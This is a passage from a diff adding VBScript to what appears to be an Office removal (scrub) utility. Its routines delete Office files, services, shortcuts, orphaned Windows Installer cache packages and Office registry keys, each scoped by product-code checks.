+                    End If 'oFso.FolderExists(MseFolder)
+                Next 'MseFolder
+            End If
+        Next 'SubFolder
+    End If 'oFso.FolderExists
+End Sub 'WipeLis
+'=======================================================================================================
+
+'Wipe files and folders as documented in KB 928218
+Sub FileWipeAll
+    Dim sFolder
+    Dim Folder, Subfolder
+
+    If fForce OR fQuiet OR fPassive Then CloseOfficeApps
+
+    'Handle other services.
+    Select Case OVERSIONMAJOR
+    Case "11"
+    Case "12"
+    Case "14"
+        DeleteService "odserv"
+        DeleteService "Microsoft Office Groove Audit Service"
+        DeleteService "Microsoft SharePoint Workspace Audit Service"
+    Case "15"
+    Case Else
+    End Select
+
+    'User specific files
+    If NOT fKeepUser Then
+        'Delete files that should be backed up before deleting them
+        CopyAndDeleteFile sAppdata & "\Microsoft\Templates\Normal.dotm"
+        CopyAndDeleteFile sAppdata & "\Microsoft\Templates\Normalemail.dotm"
+        sFolder = sAppdata & "\microsoft\document building blocks"
+        If oFso.FolderExists(sFolder) Then
+            Set Folder = oFso.GetFolder(sFolder)
+            For Each Subfolder In Folder.Subfolders
+                If oFso.FileExists(Subfolder & "\blocks.dotx") Then CopyAndDeleteFile Subfolder & "\blocks.dotx"
+            Next 'Subfolder
+            Set Folder = Nothing
+        End If 'oFso.FolderExists(sFolder)
+    End If
+
+    'Run the individual filewipe from component detection first
+    FileWipeIndividual
+    If fC2rInstalled AND NOT fForce Then Exit Sub
+
+    'Take care of the rest
+    DeleteFolder sOInstallRoot
+    DeleteFolder sCommonProgramFiles & "\Microsoft Shared\" & OREF
+    DeleteFile sAllUsersProfile & "\Application Data\Microsoft\Office\Data\opa"&OVERSIONMAJOR&".dat"
+    DeleteFile sAllUsersProfile & "\Application Data\Microsoft\Office\Data\opa"&OVERSIONMAJOR&".bak"
+    DeleteFile sAllUsersProfile & "\Microsoft\Office\Data\opa"&OVERSIONMAJOR&".dat"
+    DeleteFile sAllUsersProfile & "\Microsoft\Office\Data\opa"&OVERSIONMAJOR&".bak"
+    If (fRemoveOspp OR fForce) AND CInt(OVERSIONMAJOR) > 12 Then
+        If CInt(OVERSIONMAJOR) = 15 Then CleanOSPP
+        DeleteService "osppsvc"
+        DeleteFolder sCommonProgramFiles & "\Microsoft Shared\OfficeSoftwareProtectionPlatform"
+        DeleteFolder sAllUsersProfile & "\Microsoft\OfficeSoftwareProtectionPlatform"
+    End If
+    Select Case OVERSIONMAJOR
+    Case "12"
+    Case "14"
+        DeleteFile oWShell.SpecialFolders("AllUsersStartup")&"\OfficeSAS.lnk"
+        DeleteFile oWShell.SpecialFolders("Startup")&"\OneNote 2010 Screen Clipper and Launcher.lnk"
+    Case "15"
+    Case Else
+    End Select
+    DeleteEmptyFolder sCommonProgramFiles & "\Microsoft Shared\" & OREF
+    DeleteEmptyFolder sCommonProgramFiles & "\Microsoft Shared\"
+    DeleteEmptyFolder sProgramFiles & "\Microsoft Office\" & OREF
+    DeleteEmptyFolder sProgramFiles & "\Microsoft Office\"
+
+End Sub 'FileWipeAll
+'=======================================================================================================
+
+'Wipe individual files & folders related to SKU's that are no longer installed
+Sub FileWipeIndividual
+    Dim LogicalDisks, Disk,sc
+    Dim File, Files, XmlFile, scFiles, oFile, Folder, SubFolder, Processes, Process, item
+    Dim sFile, sFolder, sPath, sConfigName, sContents, sProductCode, sLocalDrives,sScQuery
+    Dim sValue, sScRoots
+    Dim arrSubfolders, arrShortCutRoots
+    Dim fKeepFolder, fDeleteSC
+    Dim iRet,iCnt,iPos
+
+    Log vbCrLf & "File CleanUp"
+    If IsArray(arrDeleteFiles) Then
+        If fForce OR fQuiet Then
+            Log " Doing Action: StopOSE"
+            iRet = StopService("ose")
+            Set Processes = oWmiLocal.ExecQuery("Select * From Win32_Process Where Name like 'ose%.exe'")
+            For Each Process in Processes
+                LogOnly " - Running process : " & Process.Name
+                Log " -> Ending process: " & Process.Name
+                iRet = Process.Terminate()
+            Next 'Process
+            LogOnly " End Action: StopOSE"
+            CloseOfficeApps
+        End If
+        'Wipe individual files detected earlier
+        LogOnly " Removing left behind files"
+        For Each sFile in arrDeleteFiles
+            If oFso.FileExists(sFile) Then DeleteFile sFile
+        Next 'File
+    End If 'IsArray
+
+    'Wipe Catalyst in commonfiles
+    sFolder = sCommonProgramFiles & "\microsoft shared\"&OREF&"\Office Setup Controller\"
+    If EnumFolderNames(sFolder,arrSubFolders) Then
+        For Each SubFolder in arrSubFolders
+            sPath = sFolder & SubFolder
+            If InStr(SubFolder, ".") > 0 Then sConfigName = UCase(Left(SubFolder, InStr(SubFolder, ".") - 1)) Else sConfigName = UCase(Subfolder)
+            If GetFolderPath(sPath) Then
+                Set Folder = oFso.GetFolder(sPath)
+                Set Files = Folder.Files
+                fKeepFolder = False
+                For Each File In Files
+                    If Len(File.Name)>3 Then
+                        If (LCase(Right(File.Name,4))=".xml") Then
+                            If Len(File.Name) >= Len(sConfigName) Then
+                                If (UCase(Left(File.Name,Len(sConfigName)))=sConfigName) Then
+                                    Set XmlFile = oFso.OpenTextFile(File,1)
+                                    sContents = XmlFile.ReadAll
+                                    Set XmlFile = Nothing
+                                    sProductCode = ""
+                                    On Error Resume Next
+                                    sProductCode = Mid(sContents,InStr(sContents,"ProductCode=")+Len("ProductCode=")+1,38)
+                                    On Error Goto 0
+                                    If Len(sProductCode) = 38 Then
+                                        If CheckDelete(sProductCode) Then DeleteFile File.Path Else fKeepFolder = True
+                                    End If
+                                End If 'sConfigName
+                            End If 'Len >=
+                        End If '.xml
+                    End If 'Len(File.Name)>3
+                Next 'File
+                Set Files = Nothing
+                Set Folder = Nothing
+                If Not fKeepFolder Then DeleteFolder sPath
+            End If 'GetFolderPath
+        Next 'SubFolder
+    End If 'EnumFolderNames
+
+    'Wipe Shortcuts
+    If NOT fSkipSD Then
+        On Error Resume Next
+        Log " Searching for shortcuts"
+        CleanShortcuts sAllUsersProfile, True, False
+        CleanShortcuts sProfilesDirectory, True, False
+        On Error Goto 0
+    End If 'NOT SkipSD
+    Err.Clear
+
+End Sub 'FileWipeIndividual
+'=======================================================================================================
+
+'-------------------------------------------------------------------------------
+'   CleanShortcuts
+'
+'   Recursively search all profile folders for Office shortcuts in scope
+'-------------------------------------------------------------------------------
+Sub CleanShortcuts (sFolder, fDelete, fUnPin)
+    Dim oFolder, fld, file, sc, item
+    Dim fDeleteSC
+
+	Set oFolder = oFso.GetFolder(sFolder)
+	' exclude system protected link folders
+    If CBool(oFolder.Attributes AND 1024) Then Exit Sub
+
+    On Error Resume Next
+    For Each fld In oFolder.SubFolders
+        If Err <> 0 Then
+		    CheckError "CleanShortcuts: " & vbTab & sFolder
+        Else
+            CleanShortcuts fld.Path, fDelete, fUnPin
+        End If
+	Next
+    For Each file In oFolder.Files
+		If LCase(Right(file.Path, 4)) = ".lnk" Then
+            fDeleteSC = False
+            LogOnly " check file: " & file.Path
+            set sc = oWShell.CreateShortcut(file.Path)
+            If Err <> 0 Then
+		        CheckError "CleanShortcutsSC: " & vbTab & sFolder
+            Else
+                'Compare if the shortcut target is in the list of executables that will be removed
+                'LogOnly "  - SC.TargetPath: " & sc.TargetPath
+                If Len(sc.TargetPath) > 0 Then
+                    If InStr(sc.TargetPath,"{{") > 0 Then
+                        'Handle Windows Installer shortcuts
+                        If Len(sc.TargetPath) >= InStr(sc.TargetPath,"{{") + 37 Then
+                            If CheckDelete(Mid(sc.TargetPath, InStr(sc.TargetPath,"{{"), 38)) Then fDeleteSC = True
+                        End If
+                    Else
+                        'Handle regular shortcuts
+                        If NOT fBypass_Stage1 Then
+                            ' Compare against results from component scan
+                            For Each item in dicApps.Items
+                                If LCase(sc.TargetPath) = item Then
+                                    LogOnly "  - removing shortcut per match from component detection: " & file.Path
+                                    fDeleteSC = True
+                                    Exit For
+                                End If
+                            Next 'item
+                        Else
+                        End If
+                        If NOT oFso.FileExists(sc.TargetPath) Then
+                            ' Shortcut target does not exist
+                            If InStr (sc.TargetPath, OREF) > 0 Then
+                                LogOnly "  - removing Office shortcut with non-existent target: " & file.Path & " - " & sc.TargetPath
+                                fDeleteSC = True
+                            Else
+                                'LogOnly "  - keep orphaned SC as target is not in scope: " & sc.TargetPath
+                            End If
+                        Else
+                            'LogOnly "  - keep SC as shortcut target does still exist: " & sc.TargetPath
+                        End If
+                    End If
+                End If
+            End If
+            If fDeleteSC Then
+                If Not IsArray(arrDeleteFolders) Then ReDim arrDeleteFolders(0)
+                sFolder = file.Drive & file.Path
+                If Not arrDeleteFolders(UBound(arrDeleteFolders)) = sFolder Then
+                    ReDim Preserve arrDeleteFolders(UBound(arrDeleteFolders) + 1)
+                    arrDeleteFolders(UBound(arrDeleteFolders)) = sFolder
+                End If
+                If fUnPin Then UnPin file
+                If fDelete Then
+                    If fBypass_Stage1 Then UnPin file
+                    DeleteFile file.Path
+                End If
+                fDeleteSC = False
+            End If 'fDeleteSC
+        End If
+	Next
+    On Error Goto 0
+End Sub 'CleanShortcuts
+
+'-------------------------------------------------------------------------------
+'   UnPin
+'
+'   Unpins a shortcut from the taskbar or start menu
+'-------------------------------------------------------------------------------
+Sub UnPin(file)
+    Dim fldItem, verb
+
+    On Error Resume Next
+    Set fldItem = oShellApp.NameSpace(file.ParentFolder.Path).ParseName(file.Name)
+    For Each verb in fldItem.Verbs
+        Select Case Replace(verb, "&", "")
+        Case "Unpin from Taskbar", "Von Taskleiste lösen", "Détacher du barre des tâches", "Détacher de la barre des tâches", "Desanclar de la barra de tareas", "Ta bort från Aktivitetsfältet", "??? ????????(K)", "?? ????? ??(K)", "????????? ?? ?????? ?????"
+            verb.DoIt
+        Case "Unpin from Start Menu", "Vom Startmenü lösen", "Détacher du menu Démarrer", "Détacher de la menu Démarrer"
+            If iVersionNT = 601 Then verb.DoIt
+        End Select
+    Next
+    On Error Goto 0
+End Sub
+
+
+'=======================================================================================================
+
+Sub DelScrubTmp
+
+    On Error Resume Next
+    If oFso.FolderExists(sScrubDir & "\ScrubTmp") Then oFso.DeleteFolder sScrubDir & "\ScrubTmp",True
+
+End Sub 'DelScrubTmp
+'=======================================================================================================
+
+'Ensure there are no unexpected .msi files in the scrub folder
+Sub DeleteMsiScrubCache
+    Dim Folder, File, Files
+
+    Log vbCrLf & "ScrubCache CleanUp"
+    Set Folder = oFso.GetFolder(sScrubDir) : CheckError "DeleteMsiScrubCache"
+    Set Files = Folder.Files
+    For Each File in Files
+        CheckError "DeleteMsiScrubCache"
+        If LCase(Right(File.Name,4))=".msi" Then
+            CheckError "DeleteMsiScrubCache"
+            DeleteFile File.Path : CheckError "DeleteMsiScrubCache"
+        End If
+    Next 'File
+End Sub 'DeleteMsiScrubCache
+'=======================================================================================================
+
+Sub MsiClearOrphanedFiles
+    Const USERSIDEVERYONE = "s-1-1-0"
+    Const MSIINSTALLCONTEXT_ALL = 7
+    Const MSIPATCHSTATE_ALL = 15
+
+    'Error handling inlined
+    On Error Resume Next
+
+    Dim Patch, AllPatches, Product, AllProducts
+    Dim File, Files, Folder
+    Dim sFName, sLocalMsp, sLocalMsi, sPatchList, sMsiList
+
+    Set Folder = oFso.GetFolder(sWinDir & "\Installer")
+    Set Files = Folder.Files
+
+    Log vbCrLf & "Windows Installer cache CleanUp"
+    'Get a complete list of patches
+    Err.Clear
+    Set AllPatches = oMsi.PatchesEx("",USERSIDEVERYONE,MSIINSTALLCONTEXT_ALL,MSIPATCHSTATE_ALL)
+    If Err <> 0 Then
+        CheckError "MsiClearOrphanedFiles (msp)"
+    Else
+        'Fill a comma separated stringlist with all .msp patchfiles
+        For Each Patch in AllPatches
+            sLocalMsp = "" : sLocalMsp = LCase(Patch.Patchproperty("LocalPackage")) : CheckError "MsiClearOrphanedFiles (msp)"
+            sPatchList = sPatchList & sLocalMsp & ","
+        Next 'Patch
+
+        'Delete all non referenced .msp files from %windir%\installer
+        For Each File in Files
+            sFName = "" : sFName = LCase(File.Path)
+            If LCase(Right(sFName,4)) = ".msp" Then
+                If Not InStr(sPatchList,sFName) > 0 Then
+                    'While this is an orphaned file keep the scope of Office only
+                    If InStr(UCase(MspTargets(File.Path)),OFFICEID)>0 Then DeleteFile File.Path
+                End If
+            End If 'LCase(Right(sFName,4))
+        Next 'File
+    End If 'Err=0
+
+    'Get a complete list products
+    Err.Clear
+    Set AllProducts = oMsi.ProductsEx("",USERSIDEVERYONE,MSIINSTALLCONTEXT_ALL)
+    If Err <> 0 Then
+        CheckError "MsiClearOrphanedFiles (msi)"
+    Else
+        'Fill a comma separated stringlist with all .msi files
+        For Each Product in AllProducts
+            sLocalMsi = "" : sLocalMsi = LCase(Product.InstallProperty("LocalPackage")) : CheckError "MsiClearOrphanedFiles (msi)"
+            sMsiList = sMsiList & sLocalMsi & ","
+        Next 'Product
+
+        'Delete all non referenced .msi files from %windir%\installer
+        For Each File in Files
+            sFName = "" : sFName = LCase(File.Path)
+            If LCase(Right(sFName,4)) = ".msi" Then
+                If Not InStr(sMsiList,sFName) > 0 Then
+                    'While this is an orphaned file keep the scope of Office only
+                    If UCase(Right(ProductCode(File.Path),PRODLEN))=OFFICEID Then DeleteFile File.Path
+                End If
+            End If 'LCase(Right(sFName,4)) = ".msi"
+        Next 'File
+    End If 'Err=0
+
+End Sub 'MsiClearOrphanedFiles
+'=======================================================================================================
+
+Sub RegWipe
+    Dim Item, Name, Sku, key
+    Dim hDefKey, sSubKeyName, sCurKey, value, sValue, sGuid
+    Dim fkeep, fSystemComponent0, fPackages, fDisplayVersion
+    Dim arrKeys, arrNames, arrTypes, arrMultiSzValues, arrMultiSzNewValues
+    Dim arrTestNames, arrTestTypes
+    Dim i, iLoopCnt, iPos
+    Dim fDelReg
+
+    Log vbCrLf & "Registry CleanUp"
+    'Wipe registry data
+
+    'User Profile settings
+    Log " - User Policies"
+    RegDeleteKey HKCU,"Software\Policies\Microsoft\Office\" & OVERSION & "\"
+    If NOT fKeepUser Then
+        RegDeleteKey HKCU,"Software\Microsoft\Office\" & OVERSION & "\"
+        Log " - User Settings"
+    End If 'fKeepUser
+
+    'Computer specific settings
+    If (fRemoveAll AND NOT fC2rInstalled) OR (fRemoveAll AND fForce) Then
+        Log " - Machine Settings"
+        RegDeleteKey HKLM,"SOFTWARE\Microsoft\Office\" & OVERSION & "\"
+        If fRemoveOse OR fForce Then
+            RegDeleteKey HKLM,"SOFTWARE\Microsoft\Office Test\"
+            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Office\Common\","LastAccessInstall", False
+            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Office\Common\","MID", False
+            RegDeleteKey HKLM,"SOFTWARE\Microsoft\Office\Excel\Addins\Microsoft.PerformancePoint.Planning.Client.Excel\"
+            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Office\InfoPath\Converters\Import\InfoPath.DesignerExcelImport\Versions\",OVERSION, False
+            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Office\InfoPath\Converters\Import\InfoPath.DesignerWordImport\Versions\",OVERSION, False
+            RegDeleteKey HKLM,"SOFTWARE\Microsoft\Office\Outlook\"
+            RegDeleteKey HKLM,"SOFTWARE\Microsoft\Shared Tools\Text Converters\Export\MEWord12\"
+            RegDeleteKey HKLM,"SOFTWARE\Microsoft\Shared Tools\Text Converters\Export\Word12\"
+            RegDeleteKey HKLM,"SOFTWARE\Microsoft\Shared Tools\Text Converters\Export\Word97\"
+            RegDeleteKey HKLM,"SOFTWARE\Microsoft\Shared Tools\Text Converters\Import\MEWord12\"
+            RegDeleteKey HKLM,"SOFTWARE\Microsoft\Shared Tools\Text Converters\Import\Word12\"
+            RegDeleteKey HKLM,"SOFTWARE\Microsoft\Shared Tools\Text Converters\Import\Word97\"
+            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Run\","GrooveMonitor", False
+            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Run\","LobiServer", False
+            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Run\","BCSSync", False
+            RegDeleteKey HKLM,"SYSTEM\CurrentControlSet\Services\Outlook\"
+        End If
+        RegDeleteValue HKLM,"SOFTWARE\Microsoft\Office\Common\OffDiag\Location\",OVERSIONMAJOR, False
+        RegDeleteKey HKLM,"SOFTWARE\Microsoft\Windows NT\CurrentVersion\Terminal Server\Install\Software\Microsoft\Office\" & OVERSION & "\"
+        RegDeleteValue HKLM,"SOFTWARE\Microsoft\Office\Common\OffDiag\Location\",OVERSIONMAJOR, False
+        RegDeleteKey HKLM,"SOFTWARE\Microsoft\OfficeCustomizeWizard\" & OVERSION & "\"
+        RegDeleteKey HKLM,"SOFTWARE\Microsoft\Windows NT\CurrentVersion\Terminal Server\Install\SOFTWARE\Microsoft\OfficeCustomizeWizard\" & OVERSION & "\"
+
+        Select Case OVERSIONMAJOR
+        Case "11"
+            'Jet_Replication
+            sValue = ""
+            If RegReadValue(HKCR,"CLSID\{{CC2C83A6-9BE4-11D0-98E7-00C04FC2CAF5}\InprocServer32","SystemDB",sValue,"REG_SZ") Then
+                If Len(sValue) > Len(sOInstallRoot) Then
+                    If LCase(Left(sValue,Len(sOInstallRoot))) = LCase(sOInstallRoot) Then RegDeleteKey HKCR,"CLSID\{{CC2C83A6-9BE4-11D0-98E7-00C04FC2CAF5}\InprocServer32\"
+                End If
+            End If
+        Case "12"
+        Case "14"
+            RegDeleteKey HKLM,"SOFTWARE\Microsoft\OfficeSoftwareProtectionPlatform_Test\"
+            RegDeleteKey HKLM,"SOFTWARE\Microsoft\Office\Common\ActiveX Compatibility\{{00024512-0000-0000-C000-000000000046}\"
+            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Office\OneNote\Adapters\","{{456B0D0E-49DD-4C95-8DB6-175F54DE69A3}", False
+            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\","{{42042206-2D85-11D3-8CFF-005004838597}", False
+            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\","{{993BE281-6695-4BA5-8A2A-7AACBFAAB69E}", False
+            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\","{{0006F045-0000-0000-C000-000000000046}", False
+            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\","{{C41662BB-1FA0-4CE0-8DC5-9B7F8279FF97}", False
+            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\","{{7CCA70DB-DE7A-4FB7-9B2B-52E2335A3B5A}", False
+            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\","{{506F4668-F13E-4AA1-BB04-B43203AB3CC0}", False
+            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\","{{D66DC78C-4F61-447F-942B-3FB6980118CF}", False
+            RegDeleteKey HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{{B4F3A835-0E21-4959-BA22-42B3008E02FF}\"
+            'Groove Extensions
+            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ShellExecuteHooks\","{{B5A7F190-DDA6-4420-B3BA-52453494E6CD}", False
+            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\","{{99FD978C-D287-4F50-827F-B2C658EDA8E7}", False
+            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\","{{AB5C5600-7E6E-4B06-9197-9ECEF74D31CC}", False
+            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\","{{920E6DB1-9907-4370-B3A0-BAFC03D81399}", False
+            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\","{{16F3DD56-1AF5-4347-846D-7C10C4192619}", False
+            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\","{{2916C86E-86A6-43FE-8112-43ABE6BF8DCC}", False
+            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\","{{72853161-30C5-4D22-B7F9-0BBC1D38A37E}", False
+            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\","{{6C467336-8281-4E60-8204-430CED96822D}", False
+            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\","{{2A541AE1-5BF6-4665-A8A3-CFA9672E4291}", False
+            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\","{{B5A7F190-DDA6-4420-B3BA-52453494E6CD}", False
+            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\","{{A449600E-1DC6-4232-B948-9BD794D62056}", False
+            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\","{{3D60EDA7-9AB4-4DA8-864C-D9B5F2E7281D}", False
+            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\","{{387E725D-DC16-4D76-B310-2C93ED4752A0}", False
+            RegDeleteKey HKLM,"SOFTWARE\Classes\*\shellex\ContextMenuHandlers\XXX Groove GFS Context Menu Handler XXX\"
+            RegDeleteKey HKLM,"SOFTWARE\Classes\AllFilesystemObjects\shellex\ContextMenuHandlers\XXX Groove GFS Context Menu Handler XXX\"
+            RegDeleteKey HKLM,"SOFTWARE\Classes\Directory\shellex\ContextMenuHandlers\XXX Groove GFS Context Menu Handler XXX\"
+            RegDeleteKey HKLM,"SOFTWARE\Classes\Folder\ShellEx\ContextMenuHandlers\XXX Groove GFS Context Menu Handler XXX\"
+            RegDeleteKey HKLM,"SOFTWARE\Classes\Directory\Background\shellex\ContextMenuHandlers\XXX Groove GFS Context Menu Handler XXX\"
+            RegDeleteKey HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ShellIconOverlayIdentifiers\Groove Explorer Icon Overlay 1 (GFS Unread Stub)\"
+            RegDeleteKey HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ShellIconOverlayIdentifiers\Groove Explorer Icon Overlay 2 (GFS Stub)\"
+            RegDeleteKey HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ShellIconOverlayIdentifiers\Groove Explorer Icon Overlay 2.5 (GFS Unread Folder)\"
+            RegDeleteKey HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ShellIconOverlayIdentifiers\Groove Explorer Icon Overlay 3 (GFS Folder)\"
+            RegDeleteKey HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ShellIconOverlayIdentifiers\Groove Explorer Icon Overlay 4 (GFS Unread Mark)\"
+            RegDeleteKey HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{{72853161-30C5-4D22-B7F9-0BBC1D38A37E}\"
+
+        Case 15
+
+        Case Else
+        End Select
+
+        'Win32Assemblies
+        Log " - Win32Assemblies"
+        If RegEnumKey(HKCR,"Installer\Win32Assemblies\",arrKeys) Then
+            For Each Item in arrKeys
+                If InStr(UCase(Item),OREF)>0 Then RegDeleteKey HKCR,"Installer\Win32Assemblies\"&Item & "\"
+            Next 'Item
+        End If 'RegEnumKey
+        'Groove blocks reinstall if it locates groove.exe over this key
+        If RegKeyExists(HKCR,"GrooveFile\Shell\Open\Command\") Then
+            sValue = ""
+            RegReadValue HKCR,"GrooveFile\Shell\Open\Command\","",sValue,"REG_SZ"
+            If InStr(sValue,"\"&OREF&"\")>0 Then RegDeleteKey HKCR,"GrooveFile\"
+        End If 'RegKeyExists
+    End If 'fRemoveAll
+
+    Select Case OVERSIONMAJOR
+    Case "11"
+        For iLoopCnt = 1 to 3
+            Select Case iLoopCnt
+            Case 1
+                'CIW - HKCU
+                sSubKeyName = "Software\Microsoft\OfficeCustomizeWizard\" & OVERSION & "\RegKeyPaths\"
+                hDefKey = HKCU
+            Case 2
+                'CIW - HKLM
+                sSubKeyName = "SOFTWARE\Microsoft\OfficeCustomizeWizard\" & OVERSION & "\RegKeyPaths\"
+                hDefKey = HKLM
+            Case 3
+                'Add/Remove Programs
+                sSubKeyName = REG_ARP
+                hDefKey = HKLM
+            End Select
+
+            If RegEnumKey(hDefKey,sSubKeyName,arrKeys) Then
+                For Each Item in arrKeys
+                    'OFFICEID id
+                    If Len(Item)>37 Then
+                        sGuid = UCase(Left(Item,38))
+                        If Right(sGuid,PRODLEN)=OFFICEID Then
+                            If CheckDelete(sGuid) Then
+                                RegDeleteKey hDefKey, sSubKeyName & Item & "\"
+                            End If
+                        End If 'Right(Item,PRODLEN)=OFFICEID
+                    End If 'Len(Item)>37
+                Next 'Item
+                If iLoopCnt < 3 Then
+                    If RegEnumValues(hDefKey,sSubKeyName,arrNames,arrTypes) Then
+                        i = 0
+                        For Each Name in arrNames
+                            If RegReadValue(hDefKey,sSubKeyName,Name,sValue,arrTypes(i)) Then
+                                If sValue = sGuid Then RegDeleteValue hDefKey,sSubKeyName,Name, False
+                            End If
+                            i = i + 1
+                        Next
+                    End If
+                End If
+            End If
+            If NOT RegEnumKey(hDefKey,sSubKeyName,arrKeys) Then RegDeleteKey hDefKey,"Software\Microsoft\OfficeCustomizeWizard\11.0\"
+            If NOT RegEnumKey(hDefKey,"Software\Microsoft\OfficeCustomizeWizard\11.0\",arrKeys) Then RegDeleteKey hDefKey,"Software\Microsoft\OfficeCustomizeWizard\"
+        Next 'iLoopCnt
+    Case "12"
+        'Add/Remove Programs
+        RegWipeARP
+    Case "14"
+        'Add/Remove Programs
+        RegWipeARP
+    Case Else
+    End Select
+
+    'UpgradeCodes, WI config, WI global config
+    For iLoopCnt = 1 to 5
+        Select Case iLoopCnt
+        Case 1
+            Log " - HKLM UpgradeCodes"
+            sSubKeyName = "SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UpgradeCodes\"
+            hDefKey = HKLM
+        Case 2
+            Log " - HKCR UpgradeCodes"
+            sSubKeyName = "Installer\UpgradeCodes\"
+            hDefKey = HKCR
+        Case 3
+            Log " - HKLM Products"
+            sSubKeyName = "SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\"
+            hDefKey = HKLM
+        Case 4
+            Log " - HKCR Features"
+            sSubKeyName = "Installer\Features\"
+            hDefKey = HKCR
+        Case 5
+            Log " - HKCR Products"
+            sSubKeyName = "Installer\Products\"
+            hDefKey = HKCR
+        Case Else
+            sSubKeyName = ""
+            hDefKey = ""
+        End Select
+        If RegEnumKey(hDefKey,sSubKeyName,arrKeys) Then
+            For Each Item in arrKeys
+                'Ensure we have the expected length for a compressed GUID
+                If Len(Item)=32 Then
+                    'Expand the GUID
+                    sGuid = GetExpandedGuid(Item)
+                    'Check if it's an Office key
+                    If CheckDeleteEx (sGuid) Then
+                        RegDeleteKey hDefKey,sSubKeyName & Item & "\"
+                    Else
+                        If iLoopCnt < 3 Then
+                            'Enum all entries
+                            RegEnumValues hDefKey,sSubKeyName & Item,arrNames,arrTypes
+                            If IsArray(arrNames) Then
+                                'Delete entries within removal scope
+                                For Each Name in arrNames
+                                    If Len(Name)=32 Then
+                                        sGuid = GetExpandedGuid(Name)
+                                        If CheckDelete(sGuid) Then RegDeleteValue hDefKey, sSubKeyName & Item & "\", Name, True
+                                    Else
+                                        'Invalid data -> delete the value
+                                        RegDeleteValue hDefKey, sSubKeyName & Item & "\", Name, True
+                                    End If
+                                Next 'Name
+                            End If 'IsArray(arrNames)
+                            'If all entries were removed - delete the key
+                            RegEnumValues hDefKey,sSubKeyName & Item,arrNames,arrTypes
+                            If Not IsArray(arrNames) Then RegDeleteKey hDefKey, sSubKeyName & Item & "\"
+                        Else 'iLoopCnt >= 3
+                            If CheckDelete(sGuid) Then RegDeleteKey hDefKey, sSubKeyName & Item & "\"
+                        End If 'iLoopCnt < 3
+                    End If 'fRemoveAll
+                End If 'Len(Item)=32
+            Next 'Item
+        End If 'RegEnumKey
+    Next 'iLoopCnt
+
+    'Components
+    Log " - Global Components"
+    sSubKeyName = "SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\"
+    If RegEnumKey(HKLM,sSubKeyName,arrKeys) Then
+        For Each Item in arrKeys
+            'Ensure we have the expected length for a compressed GUID
+            If Len(Item)=32 Then
+                If RegEnumValues(HKLM,sSubKeyName & Item,arrNames,arrTypes) Then
+                    If IsArray(arrNames) Then
+                        For Each Name in arrNames
+                            If Len(Name)=32 Then
+                                sGuid = GetExpandedGuid(Name)
+                                If CheckDelete(sGuid) Then
+                                    RegDeleteValue HKLM, sSubKeyName & Item & "\", Name, False
+                                    'Check if the key is now empty
+                                    If NOT RegEnumValues(HKLM,sSubKeyName & Item,arrTestNames,arrTestTypes) Then
+                                        If NOT dicDelRegKey.Exists(sSubKeyName&Item&"\") Then dicDelRegKey.Add sSubKeyName&Item&"\",HKCR
+                                    End If
+                                End If
+                            End If '32
+                        Next 'Name
+                    End If 'IsArray
+                End If 'RegEnumValues
+            End If '32
+        Next 'Item
+    End If 'RegEnumKey
+
+    'Published Components
+    Log " - Published Components"
+    sSubKeyName = "Installer\Components\"
+    If RegEnumKey(HKCR,sSubKeyName,arrKeys) Then
+        For Each Item in arrKeys
+            'Ensure we have the expected length for a compressed GUID
+            If Len(Item)=32 Then
+                If RegEnumValues(HKCR,sSubKeyName & Item,arrNames,arrTypes) Then
